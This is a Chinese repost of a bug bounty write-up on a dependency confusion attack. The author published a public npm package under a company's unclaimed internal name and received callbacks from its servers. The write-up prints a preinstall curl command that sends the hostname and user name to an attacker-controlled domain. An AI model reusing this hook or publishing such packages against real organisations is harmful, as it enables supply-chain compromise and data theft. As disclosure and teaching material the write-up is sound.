当前位置: 首页 > news >正文

【网络安全】依赖混淆漏洞实现RCE

未经许可,不得转载。

文章目录

    • 正文

依赖混淆是一种供应链攻击漏洞,发生在企业的内部依赖包错误地从公共库(如npm)下载,而不是从其私有注册表下载。攻击者可以在公共注册表中上传一个与公司内部包同名的恶意包,一旦企业系统从公共源解析并下载该包,恶意代码便可能被执行,进而带来安全风险,如远程代码执行(RCE)。

正文

我发现某企业的前端 JavaScript 文件引用了一个存储在/node_modules/@confidential-package-name的Node.js包。进一步查询后,我发现这个内部包尚未在npm公共注册表中注册。

我创建了一个与内部包同名的恶意npm包,并将其发布到公共npm注册表中。在该包的preinstall脚本中,我嵌入了一个简单的命令,用来在安装时自动执行:

curl — data-urlencode “info=$(hostname && whoami)” http://<attacker-controlled-domain>.oast.fun

这个脚本会将服务器的主机名和用户名发送到我控制的域。

img

包上线后,数小时至几天内就收到了来自该公司的生产环境和非生产环境的多个请求,这说明他们的系统正在下载并执行这个恶意包。

img

在收到超过150个HTTP和DNS查询后,我分析IP地址,排除了已知的爬虫流量,并通过WHOIS查询检哪些请求能够匹配企业IP或其服务提供商的IP。可以看到,我实现了RCE:

img

img

原文出处:https://medium.com/@p0lyxena/2-500-bug-bounty-write-up-remote-code-execution-rce-via-unclaimed-node-package-6b9108d10643

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • VuePress搭建文档网站/个人博客(详细配置)主题配置-侧边栏配置
  • 【Paper Reading】结合 NanoFlow 研究,优化大语言模型服务效率的探索
  • python自学笔记
  • go mod文件为啥又两个require
  • LabVIEW提高开发效率技巧----使用LabVIEW工具
  • [c++进阶(九)] STL之deque深度剖析
  • 设计模式七大原则
  • leetcode热题100.最长回文子串(动态规划解法)
  • 算法打卡:第十一章 图论part05
  • 基于jsonpath的JSON数据查找
  • linux安装nginx+前端部署vue项目(实际测试react项目也可以)
  • vue-入门速通
  • Java基础知识扫盲
  • 【ppt2svg svg2png/jpg】ppt转图片解决方案
  • [Linux]用户管理指令
  • 【翻译】Mashape是如何管理15000个API和微服务的(三)
  • Fabric架构演变之路
  • Linux快速配置 VIM 实现语法高亮 补全 缩进等功能
  • spring cloud gateway 源码解析(4)跨域问题处理
  • 安卓应用性能调试和优化经验分享
  • 半理解系列--Promise的进化史
  • 从零开始学习部署
  • 给新手的新浪微博 SDK 集成教程【一】
  • 使用Maven插件构建SpringBoot项目,生成Docker镜像push到DockerHub上
  • 数组的操作
  • 算法-插入排序
  • ###项目技术发展史
  • #Datawhale AI夏令营第4期#AIGC方向 文生图 Task2
  • #ifdef 的技巧用法
  • #宝哥教你#查看jquery绑定的事件函数
  • (转)大型网站的系统架构
  • **CI中自动类加载的用法总结
  • .net core 客户端缓存、服务器端响应缓存、服务器内存缓存
  • .NET DataGridView数据绑定说明
  • .NET 程序如何获取图片的宽高(框架自带多种方法的不同性能)
  • .NET 使用 ILRepack 合并多个程序集(替代 ILMerge),避免引入额外的依赖
  • .NET 使用 JustAssembly 比较两个不同版本程序集的 API 变化
  • .Net 中Partitioner static与dynamic的性能对比
  • .NET大文件上传知识整理
  • ??如何把JavaScript脚本中的参数传到java代码段中
  • @SuppressWarnings(unchecked)代码的作用
  • [20150321]索引空块的问题.txt
  • [ACM独立出版] 2024年虚拟现实、图像和信号处理国际学术会议(VRISP 2024,8月2日-4)
  • [AIGC] Java List接口详解
  • [android] 切换界面的通用处理
  • [AutoSAR 存储] 汽车智能座舱的存储需求
  • [AutoSar]工程中的cpuload陷阱(三)测试
  • [BFS广搜]迷阵
  • [ffmpeg] aac 音频编码
  • [ffmpeg] packet
  • [Geek Challenge 2023] web题解
  • [LeeCode]-Divide Two Integers 不用乘除的除法运算
  • [leetcode]56. Merge Intervals归并区间
  • [NOI2014] 魔法森林(LCT维护MST)
  • [NOI2014]购票